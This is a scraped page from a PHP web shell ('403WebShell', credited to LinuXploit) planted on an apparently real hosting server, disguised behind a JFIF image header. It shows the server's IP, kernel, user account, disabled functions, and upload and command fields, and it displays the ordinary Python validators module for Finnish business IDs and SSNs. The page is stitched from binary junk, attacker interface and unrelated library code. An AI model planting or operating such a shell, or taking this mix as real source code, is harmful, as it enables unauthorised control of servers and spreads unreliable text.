JFIF ( %!1"%)-...383.7(-.+  -%&--------------------------------------------------"J !1"AQaq2BR#r3Sbs4T$Dd(!1"2AQaq# ?q& JX"-` Es?Bl 1( H6fX[vʆEiB!j{hu85o%TI/*T `WTXط8%ɀt*$PaSIa9gkG$t h&)ٞ)O.4uCm!w*:K*I&bDl"+ ӹ=<Ӷ|FtI{7_/,/T ̫ԷC ȷMq9[1w!R{ U<?СCԀdc8'124,I'3-G s4IcWq$Ro瓩!"j']VӤ'B4H8n)iv$Hb=B:B=YݚXZILcA g$ΕzuPD? !զIEÁ $D'l"gp`+6֏$1Ľ˫EjUpܣvDت\2Wڰ_iIْ/~'cŧE:ɝBn9&rt,H`*Tf֙LK$#d "p/n$J oJ@'I0B+NRwj2GH.BWLOiGP W@#"@ę| 2@P D2[Vj!VE11pHn,c~T;U"H㤑EBxHClTZ7:х5,w=.`,:Lt1tE9""@pȠb\I_IƝpe &܏/ 3, WE2aDK &cy(3nI7'0W էΠ\&@:נ!oZIܻ1j@=So LJ{5UĜiʒP H{^iaH?U2j@<'13nXkdP&%ɰ&-(<]Vlya7 6c1HJcmǸ!˗GB3Ԏߏ\=qIPNĉA)JeJtEJbIxWbdóT V'0 WH*|D u6ӈHZh[8e  $v>p!rIWeB,i '佧 )g#[)m!tahm_<6nL/ BcT{"HSfp7|ybi8'.ih%,wm  403WebShell
403Webshell
Server IP : 185.124.137.128  /  Your IP : 216.73.217.26
Web Server : LiteSpeed
System : Linux id-dci-web1986.main-hosting.eu 5.14.0-611.26.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jan 29 05:24:47 EST 2026 x86_64
User : u686484674 ( 686484674)
PHP Version : 8.0.30
Disable Function : system, exec, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python311/lib/python3.11/site-packages/validators/i18n/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python311/lib/python3.11/site-packages/validators/i18n/fi.py
"""Finland."""

# standard
from functools import lru_cache
import re

# local
from validators.utils import validator


@lru_cache
def _business_id_pattern():
    """Business ID Pattern."""
    return re.compile(r"^[0-9]{7}-[0-9]$")


@lru_cache
def _ssn_pattern(ssn_check_marks: str):
    """SSN Pattern."""
    return re.compile(
        r"""^
        (?P<date>(0[1-9]|[1-2]\d|3[01])
        (0[1-9]|1[012])
        (\d{{2}}))
        [ABCDEFYXWVU+-]
        (?P<serial>(\d{{3}}))
        (?P<checksum>[{check_marks}])$""".format(check_marks=ssn_check_marks),
        re.VERBOSE,
    )


@validator
def fi_business_id(value: str, /):
    """Validate a Finnish Business ID.

    Each company in Finland has a distinct business id. For more
    information see [Finnish Trade Register][1]

    [1]: http://en.wikipedia.org/wiki/Finnish_Trade_Register

    Examples:
        >>> fi_business_id('0112038-9')  # Fast Monkeys Ltd
        True
        >>> fi_business_id('1234567-8')  # Bogus ID
        ValidationError(func=fi_business_id, args={'value': '1234567-8'})

    Args:
        value:
            Business ID string to be validated.

    Returns:
        (Literal[True]): If `value` is a valid finnish business id.
        (ValidationError): If `value` is an invalid finnish business id.
    """
    if not value:
        return False
    if not re.match(_business_id_pattern(), value):
        return False
    factors = [7, 9, 10, 5, 8, 4, 2]
    numbers = map(int, value[:7])
    checksum = int(value[8])
    modulo = sum(f * n for f, n in zip(factors, numbers)) % 11
    return (11 - modulo == checksum) or (modulo == checksum == 0)


@validator
def fi_ssn(value: str, /, *, allow_temporal_ssn: bool = True):
    """Validate a Finnish Social Security Number.

    This validator is based on [django-localflavor-fi][1].

    [1]: https://github.com/django/django-localflavor-fi/

    Examples:
        >>> fi_ssn('010101-0101')
        True
        >>> fi_ssn('101010-0102')
        ValidationError(func=fi_ssn, args={'value': '101010-0102'})

    Args:
        value:
            Social Security Number to be validated.
        allow_temporal_ssn:
            Whether to accept temporal SSN numbers. Temporal SSN numbers are the
            ones where the serial is in the range [900-999]. By default temporal
            SSN numbers are valid.

    Returns:
        (Literal[True]): If `value` is a valid finnish SSN.
        (ValidationError): If `value` is an invalid finnish SSN.
    """
    if not value:
        return False
    ssn_check_marks = "0123456789ABCDEFHJKLMNPRSTUVWXY"
    if not (result := re.match(_ssn_pattern(ssn_check_marks), value)):
        return False
    gd = result.groupdict()
    checksum = int(gd["date"] + gd["serial"])
    return (
        int(gd["serial"]) >= 2
        and (allow_temporal_ssn or int(gd["serial"]) <= 899)
        and ssn_check_marks[checksum % len(ssn_check_marks)] == gd["checksum"]
    )

Youez - 2016 - github.com/yon3zu
LinuXploit